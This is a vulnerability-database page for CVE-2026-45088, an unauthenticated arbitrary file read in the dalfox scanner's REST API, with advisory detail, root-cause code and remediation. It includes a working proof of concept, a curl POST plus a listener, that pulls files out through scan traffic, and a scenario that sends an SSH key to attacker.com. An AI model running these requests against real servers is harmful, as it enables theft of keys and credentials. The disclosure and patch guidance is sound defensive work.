Skip to main content

dalfox CVE-2026-45088

| EUVDEUVD-2026-32616 HIGH
External Control of File Name or Path (CWE-73)
2026-05-12 https://github.com/hahwul/dalfox GHSA-35wr-x7v6-9fv2
7.5
CVSS 3.1 · Vendor: https://github.com/hahwul/dalfox
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Network access to REST API
  2. Delivery
    POST malicious JSON with arbitrary file path
  3. Exploit
    dalfox reads file via ReadLinesOrLiteral
  4. Execution
    Embed file lines in XSS payloads
  5. Persist
    Send outbound HTTP to attacker URL
  6. Impact
    Attacker logs query params to exfiltrate file

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File name/path control
Exploitation Conditions

No special conditions-remote unauthenticated exploitation against default configurations of dalfox server mode. The server must be running in REST API mode (dalfox server --type rest) and reachable over the network. The default configuration starts the server with an empty API key, which disables authentication middleware entirely. The attacker must control two JSON fields in the POST body (custom-payload-file for the file path, skip-discovery: true and param to satisfy scan engine conditions) and must operate an HTTP listener to receive the exfiltrated file contents. The dalfox process must have filesystem read permissions on the targeted file, but this is trivially satisfied for common targets like /etc/passwd, /proc/self/environ, or world-readable credential files in the user's home directory. No user interaction is required; no specific feature beyond server mode needs to be enabled. The attack is not limited by CVSS Scope (S:U) because the exfiltration channel is the dalfox process's own outbound scan traffic, not a cross-context boundary.

Impact

CVSS 7.5 (AV:N/AC:L/PR:N/UI:N) reflects a straightforward remote attack requiring only network access-no credentials, no user interaction, no complex preconditions. The attack complexity is genuinely low because both skip-discovery and param are attacker-controlled JSON fields. Real-world risk is elevated by the default-insecure configuration (empty API key) and the fact that dalfox is often deployed in CI/CD pipelines or security scanning infrastructure where the process has access to SSH keys, cloud credentials, database passwords, and environment secrets. The CVSS High Confidentiality impact is accurate-any file readable by the dalfox process can be exfiltrated. No EPSS or KEV data is available, and no public exploit code exists yet, but the GitHub advisory provides a complete proof-of-concept that requires only curl and a listener, lowering the weaponization barrier. The vulnerability is exploitable against default configurations of dalfox server mode. The fix is confirmed in version 2.13.0 per vendor release notes and GitHub advisory GHSA-35wr-x7v6-9fv2. SSVC assessment: exploitation status is POC (vendor-published PoC in advisory), automatable (API-driven, no human interaction), technical impact is partial (confidentiality only, no integrity/availability). Priority should be immediate for any internet-exposed or multi-tenant dalfox deployments.

Exploit ScenarioDerived

An attacker identifies a dalfox REST API server exposed on the internet or reachable from a compromised internal host. They send a single HTTP POST to /scan with a JSON body specifying custom-payload-file: /home/dalfox/.ssh/id_rsa and url: http://attacker.com/?k=x. The dalfox server reads the SSH private key line-by-line and sends each line as the value of parameter k in outbound HTTP requests to the attacker's server, which logs all query parameters. The attacker reassembles the exfiltrated lines into the complete private key and gains SSH access to production systems. No authentication is required because the server was started without --api-key.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 12, 2026

Unauthenticated arbitrary file read in dalfox REST API server mode allows remote attackers to exfiltrate sensitive files from the host filesystem. The vulnerability chains two flaws: missing authentication middleware when no API key is set (default configuration), and unsanitized deserialization of the custom-payload-file JSON parameter directly into the scan engine. Remote attackers can supply any file path (e.g., /etc/passwd, ~/.ssh/id_rsa, cloud credential files) and the engine reads each line, embeds it as an XSS payload, and transmits it to an attacker-controlled HTTP endpoint via dalfox's own scan traffic. No exploit code is publicly identified at time of analysis; vendor-released patch available in version 2.13.0.

RemediationAI

Upgrade to dalfox 2.13.0 or later immediately. Version 2.13.0 applies PR #923 which strips filesystem-dangerous fields (CustomPayloadFile, CustomBlindXSSPayloadFile, FoundAction, FoundActionShell, OutputFile, HarFilePath) at the REST API boundary regardless of authentication state, and enforces mandatory API key for server mode. Vendor advisory is at https://github.com/hahwul/dalfox/security/advisories/GHSA-35wr-x7v6-9fv2. If immediate upgrade is not feasible, implement two compensating controls: (1) Require --api-key at server startup and distribute the key only to trusted consumers; configure firewall rules to limit REST API access to trusted IP ranges. (2) Run the dalfox server process under a dedicated low-privilege user with read access restricted to only the files necessary for scan operation (not SSH keys, not cloud credentials, not /etc/passwd). Use AppArmor or SELinux mandatory access control to enforce file access boundaries. Note that API key alone is insufficient if trusted API consumers could be compromised-field sanitization in 2.13.0 is the primary defense. As a defense-in-depth measure, monitor outbound HTTP connections from the dalfox process for unexpected destinations or high-entropy query parameters that could indicate exfiltration attempts. The vendor notes that v2.x is moving to security-backport-only maintenance; plan migration to the forthcoming v3 Rust rewrite for long-term support.

Affected VersionsENISA

dalfox < 2.13.0

Affected Packages

go github.com/hahwul/dalfox no fix
go github.com/hahwul/dalfox/v2 fix: 2.13.0
euvd dalfox fix: 2.13.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

dalfox is a Go-based XSS vulnerability scanner with optional REST API server mode. The vulnerability resides in the Echo web framework HTTP handler (postScanHandler) which binds incoming JSON directly into the model.Options struct. The CustomPayloadFile field propagates unsanitized through dalfox.Initialize() and ScanFromAPI() into pkg/scanning/scan.go, where voltFile.ReadLinesOrLiteral() reads arbitrary file paths and injects each line as HTTP query parameters in outbound scan requests. The root cause is CWE-73 (External Control of File Name or Path) compounded by CWE-306 (Missing Authentication for Critical Function). The server binds to 0.0.0.0:6664 by default, and the API key authentication middleware is only registered when --api-key is explicitly provided-the default empty string bypasses authentication entirely. CPE pkg:go/github.com_hahwul_dalfox_v2 confirms this is the v2 Go implementation; the vendor is migrating to a v3 Rust rewrite.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/hahwul/dalfox) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
SUSE HIGH

Primary rating from Vendor (https://github.com/hahwul/dalfox).

CVSS VectorVendor: https://github.com/hahwul/dalfox

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

When dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic.

Severity

High (CVSS 3.1: 7.5)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • Attack Vector: Network - server binds to 0.0.0.0:6664 by default; reachable by any network peer.
  • Attack Complexity: Low - no preconditions beyond network access; skip-discovery and param are both attacker-supplied, so the code path is fully under attacker control.
  • Privileges Required: None - --api-key defaults to "", so the auth middleware is not registered.
  • User Interaction: None.
  • Scope: Unchanged - the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority.
  • Confidentiality Impact: High - the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, /etc/passwd, etc.
  • Integrity Impact: None - this path is read-only.
  • Availability Impact: None.

Affected Component

  • cmd/server.go - init() (line 51): --api-key defaults to "" - no auth by default
  • pkg/server/server.go - setupEchoServer() (line 68): auth middleware only registered when APIKey != ""
  • pkg/server/server.go - postScanHandler() (lines 173-191): rq.Options (including CustomPayloadFile) passed to ScanFromAPI without sanitization
  • lib/func.go - Initialize() (line 117): CustomPayloadFile explicitly propagated from caller options
  • pkg/scanning/scan.go - anonymous block (lines 341-368): voltFile.ReadLinesOrLiteral(options.CustomPayloadFile) reads file; contents injected into outbound requests

CWE

  • CWE-306: Missing Authentication for Critical Function
  • CWE-73: External Control of File Name or Path
  • CWE-552: Files or Directories Accessible to External Parties

Description

custom-payload-file Is Fully Attacker-Controlled

model.Options exposes CustomPayloadFile with a JSON tag:

go
// pkg/model/options.go:33
CustomPayloadFile string `json:"custom-payload-file,omitempty"`

postScanHandler binds the entire Req.Options from the JSON body and passes it directly to ScanFromAPI:

go
// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)

ScanFromAPI passes rqOptions as target.Options to dalfox.Initialize:

go
// pkg/server/scan.go:22-27
target := dalfox.Target{
    URL:     url,
    Method:  rqOptions.Method,
    Options: rqOptions,
}
newOptions := dalfox.Initialize(target, target.Options)

Initialize explicitly copies CustomPayloadFile into newOptions with no filtering:

go
// lib/func.go:117
"CustomPayloadFile": {&newOptions.CustomPayloadFile, options.CustomPayloadFile},

File Read and Exfiltration Path

In pkg/scanning/scan.go, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path:

go
// pkg/scanning/scan.go:341-366
if (options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])) && options.CustomPayloadFile != "" {
    ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)
    if err != nil {
        printing.DalLog("SYSTEM", "Failed to load custom XSS payload file", options)
    } else {
        for _, customPayload := range ff {
            if customPayload != "" {
                for k, v := range params {
                    if optimization.CheckInspectionParam(options, k) {
                        ...
                        tq, tm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", encoder, options)
                        query[tq] = tm
                    }
                }
            }
        }
    }
}

Each line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. performScanning then dispatches every entry in the query map via SendReq, delivering the file's contents to the attacker's server as the value of the nominated parameter (e.g., ?q=<file-line>).

Condition Is Trivially Satisfiable

The condition options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"]) is satisfied by setting skip-discovery: true in the JSON request body - a field the attacker fully controls. When SkipDiscovery is true, the engine also requires at least one parameter via UniqParam (the -p flag), which the attacker supplies as param: ["q"]. The code then hardcodes policy["Content-Type"] = "text/html" and populates params["q"] automatically:

go
// pkg/scanning/scan.go:224-240
if len(options.UniqParam) == 0 {
    return scanResult, fmt.Errorf("--skip-discovery requires parameters to be specified with -p flag")
}
for _, paramName := range options.UniqParam {
    params[paramName] = model.ParamResult{
        Name: paramName, Type: "URL", Reflected: true, Chars: payload.GetSpecialChar(),
    }
}
policy["Content-Type"] = "text/html"

Both conditions are fully attacker-controlled through the JSON request body.

No Defense at Any Layer

The same opt-in API key guard from the first finding applies identically here:

go
// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
    e.Use(apiKeyAuth(options.APIKey, options))
}

With the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no IsAPI guard around the CustomPayloadFile read.

Proof of Concept

bash
# Step 1 - Attacker-controlled receiver (logs q= parameter to stdout)
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query).get('q', [''])[0]
        print("[RECEIVED] q =", q, flush=True)
        body = b'<html><body>ok</body></html>'
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18081), H).serve_forever()
PY
# Step 2 - Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest
# Step 3 - Exfiltrate /etc/hostname (or any file readable by the dalfox process)
curl -s -X POST http://127.0.0.1:16664/scan \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:18081/?q=test",
    "options": {
      "custom-payload-file": "/etc/hostname",
      "only-custom-payload": true,
      "skip-discovery": true,
      "param": ["q"],
      "use-headless": false,
      "worker": 1
    }
  }'
# Expected output on the receiver (Step 1 terminal):
# [RECEIVED] q = myhostname.local
# For multi-line files (e.g. /etc/passwd), each line arrives as a separate request

No X-API-KEY header is required. Replace /etc/hostname with any file path accessible to the dalfox process (e.g., ~/.ssh/id_rsa, /run/secrets/db_password, /proc/self/environ).

Impact

  • Arbitrary file read on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, .env files, cloud credential files, /proc/self/environ) can be exfiltrated one line at a time.
  • No authentication required under the default configuration.
  • The exfiltration channel is the dalfox host's own outbound HTTP scan traffic - no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call.
  • Combined with the found-action RCE finding (separate issue), an attacker could first read /proc/self/environ to harvest secrets, then execute commands.

Recommended Remediation

Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)

Apply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers:

go
// pkg/server/server.go - in postScanHandler, before ScanFromAPI:
rq.Options.CustomPayloadFile = ""
rq.Options.CustomBlindXSSPayloadFile = ""
rq.Options.FoundAction = ""
rq.Options.FoundActionShell = ""
rq.Options.OutputFile = ""
rq.Options.HarFilePath = ""

Option 2: Require --api-key at server startup

Make authentication mandatory and refuse to start without it:

go
// cmd/server.go - in runServerCmd:
if serverType == "rest" && apiKey == "" {
    fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.")
    os.Exit(1)
}

Both options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem.

##Credit

Emmanuel David

Github:- https://github.com/drmingler

Executive ViewAI

Why It Matters

Dalfox REST API server allows unauthenticated attackers to read arbitrary files from affected hosts when deployed in default configuration, enabling exfiltration of sensitive data such as credentials, SSH keys, and cloud authentication tokens. Organizations using dalfox for security scanning face immediate data breach risk if the service is internet-exposed or accessible to untrusted networks.

Business Impact: High
Compensating Controls

Vendor-released patch: dalfox version 2.13.0 or later. Until patching is complete: (1) Disable REST API server mode if not actively used; (2) Enforce network-layer access controls restricting dalfox to trusted internal subnets only; (3) Require and enforce API key authentication in dalfox configuration; (4) Monitor outbound HTTP traffic from dalfox processes for suspicious exfiltration patterns.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy